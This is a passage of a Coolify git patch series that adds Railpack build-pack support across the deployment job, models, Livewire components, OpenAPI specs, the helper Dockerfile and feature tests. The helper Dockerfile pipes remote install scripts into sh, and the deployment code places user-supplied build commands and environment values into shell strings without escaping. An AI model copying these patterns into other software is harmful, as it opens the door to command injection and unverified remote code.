'string', 'enum' => ['nixpacks', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'], + 'build_pack' => ['type' => 'string', 'enum' => ['nixpacks', 'railpack', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'], 'name' => ['type' => 'string', 'description' => 'The application name.'], 'description' => ['type' => 'string', 'description' => 'The application description.'], 'domains' => ['type' => 'string', 'description' => 'The application URLs in a comma-separated list.'], diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index e30af5cc7..33905ce59 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -121,6 +121,8 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue private $env_nixpacks_args; + private $env_railpack_args; + private $docker_compose; private $docker_compose_base64; @@ -476,8 +478,12 @@ private function decide_what_to_do() $this->deploy_dockerfile_buildpack(); } elseif ($this->application->build_pack === 'static') { $this->deploy_static_buildpack(); - } else { + } elseif ($this->application->build_pack === 'nixpacks') { $this->deploy_nixpacks_buildpack(); + } elseif ($this->application->build_pack === 'railpack') { + $this->deploy_railpack_buildpack(); + } else { + throw new \RuntimeException("Unsupported build pack: {$this->application->build_pack}"); } $this->post_deployment(); } @@ -921,6 +927,37 @@ private function deploy_nixpacks_buildpack() $this->rolling_update(); } + private function deploy_railpack_buildpack() + { + if ($this->use_build_server) { + $this->server = $this->build_server; + } + $this->application_deployment_queue->addLogEntry("Starting deployment of {$this->customRepository}:{$this->application->git_branch} to {$this->server->name}."); + $this->prepare_builder_image(); + $this->check_git_if_build_needed(); + $this->generate_image_names(); + if (! $this->force_rebuild) { + $this->check_image_locally_or_remotely(); + if ($this->should_skip_build()) { + return; + } + } + $this->clone_repository(); + $this->cleanup_git(); + $this->generate_compose_file(); + + // Save build-time .env file BEFORE the build + $this->save_buildtime_environment_variables(); + + $this->generate_build_env_variables(); + $this->build_railpack_image(); + + // Save runtime environment variables AFTER the build + $this->save_runtime_environment_variables(); + $this->push_to_docker_registry(); + $this->rolling_update(); + } + private function deploy_static_buildpack() { if ($this->use_build_server) { @@ -1943,7 +1980,11 @@ private function deploy_pull_request() if ($this->application->build_pack === 'dockerfile') { $this->add_build_env_variables_to_dockerfile(); } - $this->build_image(); + if ($this->application->build_pack === 'railpack') { + $this->build_railpack_image(); + } else { + $this->build_image(); + } // This overwrites the build-time .env with ALL variables (build-time + runtime) $this->save_runtime_environment_variables(); @@ -2376,6 +2417,137 @@ private function generate_nixpacks_env_variables() $this->env_nixpacks_args = $this->env_nixpacks_args->implode(' '); } + private function generate_railpack_env_variables(): void + { + $this->env_railpack_args = collect([]); + if ($this->pull_request_id === 0) { + foreach ($this->application->railpack_environment_variables as $env) { + if (! is_null($env->real_value) && $env->real_value !== '') { + $this->env_railpack_args->push("--env {$env->key}={$env->real_value}"); + } + } + } else { + foreach ($this->application->railpack_environment_variables_preview as $env) { + if (! is_null($env->real_value) && $env->real_value !== '') { + $this->env_railpack_args->push("--env {$env->key}={$env->real_value}"); + } + } + } + + // Note: COOLIFY_* vars are NOT passed to railpack prepare because railpack treats + // all --env vars as secrets that must be provided during docker buildx build. + // COOLIFY_* vars are informational and available at runtime via .env file. + + $this->env_railpack_args = $this->env_railpack_args->implode(' '); + } + + private function build_railpack_image(): void + { + $this->generate_railpack_env_variables(); + + // Step 1: Generate build plan with railpack prepare + $prepare_command = 'railpack prepare'; + + if ($this->env_railpack_args) { + $prepare_command .= " {$this->env_railpack_args}"; + } + if ($this->application->build_command) { + $prepare_command .= " --build-cmd \"{$this->application->build_command}\""; + } + if ($this->application->start_command) { + $prepare_command .= " --start-cmd \"{$this->application->start_command}\""; + } + if ($this->application->install_command) { + $prepare_command .= " --env RAILPACK_INSTALL_CMD=\"{$this->application->install_command}\""; + } + + $prepare_command .= " --plan-out /artifacts/railpack-plan.json {$this->workdir}"; + + $this->application_deployment_queue->addLogEntry('Generating Railpack build plan.'); + $this->execute_remote_command( + [executeInDocker($this->deployment_uuid, $prepare_command), 'hidden' => true], + ); + + // Step 2: Build image using docker buildx with railpack frontend. + // Railpack's frontend requires full BuildKit (mergeop), so we use a docker-container driver builder. + $this->application_deployment_queue->addLogEntry('Building docker image with Railpack.'); + $this->application_deployment_queue->addLogEntry('To check the current progress, click on Show Debug Logs.'); + + $image_name = $this->application->settings->is_static + ? $this->build_image_name + : $this->production_image_name; + + if ($this->application->settings->is_static && $this->application->static_image) { + $this->pull_latest_image($this->application->static_image); + } + + $cache_args = ''; + if ($this->force_rebuild) { + $cache_args = '--no-cache'; + } else { + $cache_args = "--build-arg cache-key='{$this->application->uuid}'"; + } + + $build_command = 'docker buildx create --name coolify-railpack --driver docker-container 2>/dev/null || true' + .' && docker buildx build --builder coolify-railpack' + ." {$this->addHosts} --network host" + ." --build-arg BUILDKIT_SYNTAX='ghcr.io/railwayapp/railpack-frontend'" + ." {$cache_args}" + .' -f /artifacts/railpack-plan.json' + .' --progress plain' + .' --load' + ." -t {$image_name}" + ." {$this->workdir}"; + + $base64_build_command = base64_encode($build_command); + $this->execute_remote_command( + [ + executeInDocker($this->deployment_uuid, "echo '{$base64_build_command}' | base64 -d | tee ".self::BUILD_SCRIPT_PATH.' > /dev/null'), + 'hidden' => true, + ], + [ + executeInDocker($this->deployment_uuid, 'cat '.self::BUILD_SCRIPT_PATH), + 'hidden' => true, + ], + [ + executeInDocker($this->deployment_uuid, 'bash '.self::BUILD_SCRIPT_PATH), + 'hidden' => true, + ] + ); + + // Step 3: If static, copy built assets into nginx image + if ($this->application->settings->is_static) { + $publishDir = trim($this->application->publish_directory, '/'); + $publishDir = $publishDir ? "/{$publishDir}" : ''; + $dockerfile = base64_encode("FROM {$this->application->static_image} +WORKDIR /usr/share/nginx/html/ +LABEL coolify.deploymentId={$this->deployment_uuid} +COPY --from={$this->build_image_name} /app{$publishDir} . +COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); + + if (str($this->application->custom_nginx_configuration)->isNotEmpty()) { + $nginx_config = base64_encode($this->application->custom_nginx_configuration); + } else { + $nginx_config = $this->application->settings->is_spa + ? base64_encode(defaultNginxConfiguration('spa')) + : base64_encode(defaultNginxConfiguration()); + } + + $static_build = $this->dockerBuildkitSupported + ? "DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile --progress plain -t {$this->production_image_name} {$this->workdir}" + : "docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile -t {$this->production_image_name} {$this->workdir}"; + + $base64_static_build = base64_encode($static_build); + $this->execute_remote_command( + [executeInDocker($this->deployment_uuid, "echo '{$dockerfile}' | base64 -d | tee {$this->workdir}/Dockerfile > /dev/null")], + [executeInDocker($this->deployment_uuid, "echo '{$nginx_config}' | base64 -d | tee {$this->workdir}/nginx.conf > /dev/null")], + [executeInDocker($this->deployment_uuid, "echo '{$base64_static_build}' | base64 -d | tee ".self::BUILD_SCRIPT_PATH.' > /dev/null'), 'hidden' => true], + [executeInDocker($this->deployment_uuid, 'cat '.self::BUILD_SCRIPT_PATH), 'hidden' => true], + [executeInDocker($this->deployment_uuid, 'bash '.self::BUILD_SCRIPT_PATH), 'hidden' => true], + ); + } + } + private function generate_coolify_env_variables(bool $forBuildTime = false): Collection { $coolify_envs = collect([]); diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index ca1daef72..bc24c3944 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -598,7 +598,7 @@ public function updatedBuildPack() // Sync property to model before checking/modifying $this->syncData(toModel: true); - if ($this->buildPack !== 'nixpacks') { + if ($this->buildPack !== 'nixpacks' && $this->buildPack !== 'railpack') { $this->isStatic = false; $this->application->settings->is_static = false; $this->application->settings->save(); diff --git a/app/Livewire/Project/New/GithubPrivateRepository.php b/app/Livewire/Project/New/GithubPrivateRepository.php index 61ae0e151..c208e2cd2 100644 --- a/app/Livewire/Project/New/GithubPrivateRepository.php +++ b/app/Livewire/Project/New/GithubPrivateRepository.php @@ -62,7 +62,7 @@ class GithubPrivateRepository extends Component protected int $page = 1; - public $build_pack = 'nixpacks'; + public $build_pack = 'railpack'; public bool $show_is_static = true; @@ -82,7 +82,7 @@ public function updatedSelectedRepositoryId(): void public function updatedBuildPack() { - if ($this->build_pack === 'nixpacks') { + if ($this->build_pack === 'nixpacks' || $this->build_pack === 'railpack') { $this->show_is_static = true; $this->port = 3000; } elseif ($this->build_pack === 'static') { diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index e46ad7d78..f312a9dc0 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -45,7 +45,7 @@ class GithubPrivateRepositoryDeployKey extends Component public string $branch; - public $build_pack = 'nixpacks'; + public $build_pack = 'railpack'; public bool $show_is_static = true; @@ -95,7 +95,7 @@ public function mount() public function updatedBuildPack() { - if ($this->build_pack === 'nixpacks') { + if ($this->build_pack === 'nixpacks' || $this->build_pack === 'railpack') { $this->show_is_static = true; $this->port = 3000; } elseif ($this->build_pack === 'static') { diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index 3df31a6a3..eb4ce7b84 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -57,7 +57,7 @@ class PublicGitRepository extends Component public string $git_repository; - public $build_pack = 'nixpacks'; + public $build_pack = 'railpack'; public bool $show_is_static = true; @@ -99,7 +99,7 @@ public function mount() public function updatedBuildPack() { - if ($this->build_pack === 'nixpacks') { + if ($this->build_pack === 'nixpacks' || $this->build_pack === 'railpack') { $this->show_is_static = true; $this->port = 3000; } elseif ($this->build_pack === 'static') { diff --git a/app/Models/Application.php b/app/Models/Application.php index 4cc2dcf74..b97201faa 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -39,7 +39,7 @@ 'git_full_url' => ['type' => 'string', 'nullable' => true, 'description' => 'Git full URL.'], 'docker_registry_image_name' => ['type' => 'string', 'nullable' => true, 'description' => 'Docker registry image name.'], 'docker_registry_image_tag' => ['type' => 'string', 'nullable' => true, 'description' => 'Docker registry image tag.'], - 'build_pack' => ['type' => 'string', 'description' => 'Build pack.', 'enum' => ['nixpacks', 'static', 'dockerfile', 'dockercompose']], + 'build_pack' => ['type' => 'string', 'description' => 'Build pack.', 'enum' => ['nixpacks', 'railpack', 'static', 'dockerfile', 'dockercompose']], 'static_image' => ['type' => 'string', 'description' => 'Static image used when static site is deployed.'], 'install_command' => ['type' => 'string', 'description' => 'Install command.'], 'build_command' => ['type' => 'string', 'description' => 'Build command.'], @@ -854,7 +854,8 @@ public function runtime_environment_variables() { return $this->morphMany(EnvironmentVariable::class, 'resourceable') ->where('is_preview', false) - ->where('key', 'not like', 'NIXPACKS_%'); + ->where('key', 'not like', 'NIXPACKS_%') + ->where('key', 'not like', 'RAILPACK_%'); } public function nixpacks_environment_variables() @@ -864,6 +865,13 @@ public function nixpacks_environment_variables() ->where('key', 'like', 'NIXPACKS_%'); } + public function railpack_environment_variables() + { + return $this->morphMany(EnvironmentVariable::class, 'resourceable') + ->where('is_preview', false) + ->where('key', 'like', 'RAILPACK_%'); + } + public function environment_variables_preview() { return $this->morphMany(EnvironmentVariable::class, 'resourceable') @@ -882,7 +890,8 @@ public function runtime_environment_variables_preview() { return $this->morphMany(EnvironmentVariable::class, 'resourceable') ->where('is_preview', true) - ->where('key', 'not like', 'NIXPACKS_%'); + ->where('key', 'not like', 'NIXPACKS_%') + ->where('key', 'not like', 'RAILPACK_%'); } public function nixpacks_environment_variables_preview() @@ -892,6 +901,13 @@ public function nixpacks_environment_variables_preview() ->where('key', 'like', 'NIXPACKS_%'); } + public function railpack_environment_variables_preview() + { + return $this->morphMany(EnvironmentVariable::class, 'resourceable') + ->where('is_preview', true) + ->where('key', 'like', 'RAILPACK_%'); + } + public function scheduled_tasks(): HasMany { return $this->hasMany(ScheduledTask::class)->orderBy('name', 'asc'); @@ -1011,7 +1027,7 @@ public function deploymentType() public function could_set_build_commands(): bool { - if ($this->build_pack === 'nixpacks') { + if ($this->build_pack === 'nixpacks' || $this->build_pack === 'railpack') { return true; } diff --git a/docker/coolify-helper/Dockerfile b/docker/coolify-helper/Dockerfile index 14879eb96..ebe667437 100644 --- a/docker/coolify-helper/Dockerfile +++ b/docker/coolify-helper/Dockerfile @@ -11,6 +11,10 @@ ARG DOCKER_BUILDX_VERSION=0.25.0 ARG PACK_VERSION=0.38.2 # https://github.com/railwayapp/nixpacks/releases ARG NIXPACKS_VERSION=1.41.0 +# https://github.com/railwayapp/railpack/releases +ARG RAILPACK_VERSION=0.21.0 +# https://github.com/jdx/mise/releases — must match railpack's pinned version (https://raw.githubusercontent.com/railwayapp/railpack/refs/heads/main/core/mise/version.txt) +ARG MISE_VERSION=2026.3.12 # https://github.com/minio/mc/releases ARG MINIO_VERSION=RELEASE.2025-08-13T08-35-41Z @@ -25,17 +29,32 @@ ARG DOCKER_COMPOSE_VERSION ARG DOCKER_BUILDX_VERSION ARG PACK_VERSION ARG NIXPACKS_VERSION +ARG RAILPACK_VERSION +ARG MISE_VERSION USER root WORKDIR /artifacts RUN apk add --no-cache bash curl git git-lfs openssh-client tar tini RUN mkdir -p ~/.docker/cli-plugins + +# Install mise (musl build) at the path railpack expects (/tmp/railpack/mise/mise-VERSION). +# Railpack hardcodes a glibc mise download that fails on Alpine, so we pre-place a musl binary. +RUN mkdir -p /tmp/railpack/mise && \ + if [[ ${TARGETPLATFORM} == 'linux/amd64' ]]; then \ + curl -sSL "https://github.com/jdx/mise/releases/download/v${MISE_VERSION}/mise-v${MISE_VERSION}-linux-x64-musl.tar.gz" | tar xz && \ + mv mise/bin/mise "/tmp/railpack/mise/mise-${MISE_VERSION}" && rm -rf mise; \ + elif [[ ${TARGETPLATFORM} == 'linux/arm64' ]]; then \ + curl -sSL "https://github.com/jdx/mise/releases/download/v${MISE_VERSION}/mise-v${MISE_VERSION}-linux-arm64-musl.tar.gz" | tar xz && \ + mv mise/bin/mise "/tmp/railpack/mise/mise-${MISE_VERSION}" && rm -rf mise; \ + fi + RUN if [[ ${TARGETPLATFORM} == 'linux/amd64' ]]; then \ curl -sSL https://github.com/docker/buildx/releases/download/v${DOCKER_BUILDX_VERSION}/buildx-v${DOCKER_BUILDX_VERSION}.linux-amd64 -o ~/.docker/cli-plugins/docker-buildx && \ curl -sSL https://github.com/docker/compose/releases/download/v${DOCKER_COMPOSE_VERSION}/docker-compose-linux-x86_64 -o ~/.docker/cli-plugins/docker-compose && \ (curl -sSL https://download.docker.com/linux/static/stable/x86_64/docker-${DOCKER_VERSION}.tgz | tar -C /usr/bin/ --no-same-owner -xzv --strip-components=1 docker/docker) && \ (curl -sSL https://github.com/buildpacks/pack/releases/download/v${PACK_VERSION}/pack-v${PACK_VERSION}-linux.tgz | tar -C /usr/local/bin/ --no-same-owner -xzv pack) && \ curl -sSL https://nixpacks.com/install.sh | bash && \ + curl -sSL https://railpack.com/install.sh | RAILPACK_VERSION=${RAILPACK_VERSION} sh && \ chmod +x ~/.docker/cli-plugins/docker-compose /usr/bin/docker /usr/local/bin/pack /root/.docker/cli-plugins/docker-buildx \ ;fi @@ -45,6 +64,7 @@ RUN if [[ ${TARGETPLATFORM} == 'linux/arm64' ]]; then \ (curl -sSL https://download.docker.com/linux/static/stable/aarch64/docker-${DOCKER_VERSION}.tgz | tar -C /usr/bin/ --no-same-owner -xzv --strip-components=1 docker/docker) && \ (curl -sSL https://github.com/buildpacks/pack/releases/download/v${PACK_VERSION}/pack-v${PACK_VERSION}-linux-arm64.tgz | tar -C /usr/local/bin/ --no-same-owner -xzv pack) && \ curl -sSL https://nixpacks.com/install.sh | bash && \ + curl -sSL https://railpack.com/install.sh | RAILPACK_VERSION=${RAILPACK_VERSION} sh && \ chmod +x ~/.docker/cli-plugins/docker-compose /usr/bin/docker /usr/local/bin/pack /root/.docker/cli-plugins/docker-buildx \ ;fi diff --git a/openapi.json b/openapi.json index d119176a1..a23a9df40 100644 --- a/openapi.json +++ b/openapi.json @@ -111,6 +111,7 @@ "type": "string", "enum": [ "nixpacks", + "railpack", "static", "dockerfile", "dockercompose" @@ -564,6 +565,7 @@ "type": "string", "enum": [ "nixpacks", + "railpack", "static", "dockerfile", "dockercompose" @@ -1009,6 +1011,7 @@ "type": "string", "enum": [ "nixpacks", + "railpack", "static", "dockerfile", "dockercompose" @@ -1434,6 +1437,7 @@ "type": "string", "enum": [ "nixpacks", + "railpack", "static", "dockerfile", "dockercompose" @@ -2442,6 +2446,7 @@ "type": "string", "enum": [ "nixpacks", + "railpack", "static", "dockerfile", "dockercompose" @@ -11509,6 +11514,7 @@ "description": "Build pack.", "enum": [ "nixpacks", + "railpack", "static", "dockerfile", "dockercompose" diff --git a/openapi.yaml b/openapi.yaml index 7064be28a..e3168d131 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -81,7 +81,7 @@ paths: description: 'The git branch.' build_pack: type: string - enum: [nixpacks, static, dockerfile, dockercompose] + enum: [nixpacks, railpack, static, dockerfile, dockercompose] description: 'The build pack type.' ports_exposes: type: string @@ -371,7 +371,7 @@ paths: description: 'The destination UUID.' build_pack: type: string - enum: [nixpacks, static, dockerfile, dockercompose] + enum: [nixpacks, railpack, static, dockerfile, dockercompose] description: 'The build pack type.' name: type: string @@ -655,7 +655,7 @@ paths: description: 'The destination UUID.' build_pack: type: string - enum: [nixpacks, static, dockerfile, dockercompose] + enum: [nixpacks, railpack, static, dockerfile, dockercompose] description: 'The build pack type.' name: type: string @@ -923,7 +923,7 @@ paths: description: 'The Dockerfile content.' build_pack: type: string - enum: [nixpacks, static, dockerfile, dockercompose] + enum: [nixpacks, railpack, static, dockerfile, dockercompose] description: 'The build pack type.' ports_exposes: type: string @@ -1556,7 +1556,7 @@ paths: description: 'The destination UUID.' build_pack: type: string - enum: [nixpacks, static, dockerfile, dockercompose] + enum: [nixpacks, railpack, static, dockerfile, dockercompose] description: 'The build pack type.' name: type: string @@ -7256,6 +7256,7 @@ components: description: 'Build pack.' enum: - nixpacks + - railpack - static - dockerfile - dockercompose diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index e27eda8b6..639be8f5d 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -31,6 +31,7 @@
+ @@ -218,16 +219,16 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry" id="customDockerRunOptions" label="Custom Docker Options" x-bind:disabled="!canUpdate" /> @else @if ($application->could_set_build_commands()) - @if ($buildPack === 'nixpacks') + @if ($buildPack === 'nixpacks' || $buildPack === 'railpack')
- - -
-
Nixpacks will detect the required configuration +
{{ $buildPack === 'railpack' ? 'Railpack' : 'Nixpacks' }} will detect the required configuration automatically. Framework Specific Docs diff --git a/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php b/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php index 9eb9baea8..3c3313643 100644 --- a/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php +++ b/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php @@ -51,6 +51,7 @@ class="loading loading-xs dark:text-warning loading-spinner">
+ diff --git a/resources/views/livewire/project/new/github-private-repository.blade.php b/resources/views/livewire/project/new/github-private-repository.blade.php index 129c508a9..2d68b1900 100644 --- a/resources/views/livewire/project/new/github-private-repository.blade.php +++ b/resources/views/livewire/project/new/github-private-repository.blade.php @@ -77,6 +77,7 @@ @endforeach + diff --git a/resources/views/livewire/project/new/public-git-repository.blade.php b/resources/views/livewire/project/new/public-git-repository.blade.php index 02489719a..03fc71a5d 100644 --- a/resources/views/livewire/project/new/public-git-repository.blade.php +++ b/resources/views/livewire/project/new/public-git-repository.blade.php @@ -41,6 +41,7 @@ helper="You can select other branches after configuration is done." /> @endif + diff --git a/tests/Feature/ApplicationBuildpackCleanupTest.php b/tests/Feature/ApplicationBuildpackCleanupTest.php index b6b535a76..857410920 100644 --- a/tests/Feature/ApplicationBuildpackCleanupTest.php +++ b/tests/Feature/ApplicationBuildpackCleanupTest.php @@ -117,6 +117,52 @@ expect($application->environment_variables()->where('key', 'REGULAR_VAR')->count())->toBe(1); }); + test('model clears dockerfile fields when build_pack changes from dockerfile to railpack', function () { + $team = Team::factory()->create(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + $application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'build_pack' => 'dockerfile', + 'dockerfile' => 'FROM node:18', + 'dockerfile_location' => '/Dockerfile', + 'dockerfile_target_build' => 'production', + 'custom_healthcheck_found' => true, + ]); + + $application->build_pack = 'railpack'; + $application->save(); + $application->refresh(); + + expect($application->build_pack)->toBe('railpack'); + expect($application->dockerfile)->toBeNull(); + expect($application->dockerfile_location)->toBeNull(); + expect($application->dockerfile_target_build)->toBeNull(); + expect($application->custom_healthcheck_found)->toBeFalse(); + }); + + test('model clears dockercompose fields when build_pack changes from dockercompose to railpack', function () { + $team = Team::factory()->create(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + $application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'build_pack' => 'dockercompose', + 'docker_compose_domains' => '{"app": "example.com"}', + 'docker_compose_raw' => 'version: "3.8"\nservices:\n app:\n image: nginx', + ]); + + $application->build_pack = 'railpack'; + $application->save(); + $application->refresh(); + + expect($application->build_pack)->toBe('railpack'); + expect($application->docker_compose_domains)->toBeNull(); + expect($application->docker_compose_raw)->toBeNull(); + }); + test('model does not clear dockerfile fields when switching to dockerfile', function () { $team = Team::factory()->create(); $project = Project::factory()->create(['team_id' => $team->id]); diff --git a/tests/Feature/ApplicationRailpackTest.php b/tests/Feature/ApplicationRailpackTest.php new file mode 100644 index 000000000..f3e49cc21 --- /dev/null +++ b/tests/Feature/ApplicationRailpackTest.php @@ -0,0 +1,168 @@ +create(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + $application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'build_pack' => 'railpack', + ]); + + expect($application->could_set_build_commands())->toBeTrue(); + }); + + test('could_set_build_commands returns true for nixpacks', function () { + $team = Team::factory()->create(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + $application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'build_pack' => 'nixpacks', + ]); + + expect($application->could_set_build_commands())->toBeTrue(); + }); + + test('could_set_build_commands returns false for dockerfile', function () { + $team = Team::factory()->create(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + $application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'build_pack' => 'dockerfile', + ]); + + expect($application->could_set_build_commands())->toBeFalse(); + }); + + test('railpack_environment_variables returns only RAILPACK_ prefixed vars', function () { + $team = Team::factory()->create(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + $application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'build_pack' => 'railpack', + ]); + + EnvironmentVariable::create([ + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'key' => 'RAILPACK_NODE_VERSION', + 'value' => '20', + 'is_buildtime' => true, + 'is_preview' => false, + ]); + + EnvironmentVariable::create([ + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'key' => 'REGULAR_VAR', + 'value' => 'value', + 'is_buildtime' => false, + 'is_preview' => false, + ]); + + EnvironmentVariable::create([ + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'key' => 'NIXPACKS_NODE_VERSION', + 'value' => '18', + 'is_buildtime' => true, + 'is_preview' => false, + ]); + + $railpackVars = $application->railpack_environment_variables; + expect($railpackVars)->toHaveCount(1); + expect($railpackVars->first()->key)->toBe('RAILPACK_NODE_VERSION'); + }); + + test('runtime_environment_variables excludes RAILPACK_ and NIXPACKS_ prefixed vars', function () { + $team = Team::factory()->create(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + $application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'build_pack' => 'railpack', + ]); + + EnvironmentVariable::create([ + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'key' => 'RAILPACK_NODE_VERSION', + 'value' => '20', + 'is_buildtime' => true, + 'is_preview' => false, + ]); + + EnvironmentVariable::create([ + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'key' => 'NIXPACKS_NODE_VERSION', + 'value' => '18', + 'is_buildtime' => true, + 'is_preview' => false, + ]); + + EnvironmentVariable::create([ + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'key' => 'APP_ENV', + 'value' => 'production', + 'is_buildtime' => false, + 'is_preview' => false, + ]); + + $runtimeVars = $application->runtime_environment_variables; + expect($runtimeVars)->toHaveCount(1); + expect($runtimeVars->first()->key)->toBe('APP_ENV'); + }); + + test('railpack_environment_variables_preview returns only RAILPACK_ prefixed preview vars', function () { + $team = Team::factory()->create(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + $application = Application::factory()->create([ + 'environment_id' => $environment->id, + 'build_pack' => 'railpack', + ]); + + EnvironmentVariable::create([ + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'key' => 'RAILPACK_BUILD_CMD', + 'value' => 'npm run build', + 'is_buildtime' => true, + 'is_preview' => true, + ]); + + EnvironmentVariable::create([ + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'key' => 'REGULAR_VAR', + 'value' => 'value', + 'is_buildtime' => false, + 'is_preview' => true, + ]); + + $previewVars = $application->railpack_environment_variables_preview; + expect($previewVars)->toHaveCount(1); + expect($previewVars->first()->key)->toBe('RAILPACK_BUILD_CMD'); + }); +}); diff --git a/tests/Feature/BuildpackSwitchCleanupTest.php b/tests/Feature/BuildpackSwitchCleanupTest.php index b040f9a8f..babd940cb 100644 --- a/tests/Feature/BuildpackSwitchCleanupTest.php +++ b/tests/Feature/BuildpackSwitchCleanupTest.php @@ -111,6 +111,29 @@ expect($application->dockerfile)->toBeNull(); }); + test('clears dockerfile fields when switching from dockerfile to railpack', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'build_pack' => 'dockerfile', + 'dockerfile' => 'FROM node:18', + 'dockerfile_location' => '/Dockerfile', + 'dockerfile_target_build' => 'production', + 'custom_healthcheck_found' => true, + ]); + + Livewire::test(General::class, ['application' => $application]) + ->assertSuccessful() + ->set('buildPack', 'railpack') + ->call('updatedBuildPack'); + + $application->refresh(); + expect($application->build_pack)->toBe('railpack'); + expect($application->dockerfile)->toBeNull(); + expect($application->dockerfile_location)->toBeNull(); + expect($application->dockerfile_target_build)->toBeNull(); + expect($application->custom_healthcheck_found)->toBeFalse(); + }); + test('clears dockerfile fields when switching from dockerfile to dockercompose', function () { $application = Application::factory()->create([ 'environment_id' => $this->environment->id, From cddbaf581fd319d9266f31a97194c04ea166fe1e Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Mon, 23 Mar 2026 19:02:10 +0000 Subject: [PATCH 009/329] refactor(railpack): extract static image build, fix port logic, bump to v0.22.0 Extract build_railpack_static_image() into its own method, prevent port override when is_static is set, bump Railpack to 0.22.0, and improve test setup with beforeEach and correct polymorphic env var fields. --- app/Jobs/ApplicationDeploymentJob.php | 53 ++++++++++--------- .../Project/New/GithubPrivateRepository.php | 4 +- .../New/GithubPrivateRepositoryDeployKey.php | 4 +- .../Project/New/PublicGitRepository.php | 4 +- docker/coolify-helper/Dockerfile | 2 +- .../ApplicationBuildpackCleanupTest.php | 50 ++++++++++++++--- tests/Feature/ApplicationRailpackTest.php | 38 ++++--------- 7 files changed, 93 insertions(+), 62 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 33905ce59..460a7bf3d 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -483,7 +483,7 @@ private function decide_what_to_do() } elseif ($this->application->build_pack === 'railpack') { $this->deploy_railpack_buildpack(); } else { - throw new \RuntimeException("Unsupported build pack: {$this->application->build_pack}"); + throw new DeploymentException("Unsupported build pack: {$this->application->build_pack}"); } $this->post_deployment(); } @@ -2517,35 +2517,40 @@ private function build_railpack_image(): void // Step 3: If static, copy built assets into nginx image if ($this->application->settings->is_static) { - $publishDir = trim($this->application->publish_directory, '/'); - $publishDir = $publishDir ? "/{$publishDir}" : ''; - $dockerfile = base64_encode("FROM {$this->application->static_image} + $this->build_railpack_static_image(); + } + } + + private function build_railpack_static_image(): void + { + $publishDir = trim($this->application->publish_directory, '/'); + $publishDir = $publishDir ? "/{$publishDir}" : ''; + $dockerfile = base64_encode("FROM {$this->application->static_image} WORKDIR /usr/share/nginx/html/ LABEL coolify.deploymentId={$this->deployment_uuid} COPY --from={$this->build_image_name} /app{$publishDir} . COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); - if (str($this->application->custom_nginx_configuration)->isNotEmpty()) { - $nginx_config = base64_encode($this->application->custom_nginx_configuration); - } else { - $nginx_config = $this->application->settings->is_spa - ? base64_encode(defaultNginxConfiguration('spa')) - : 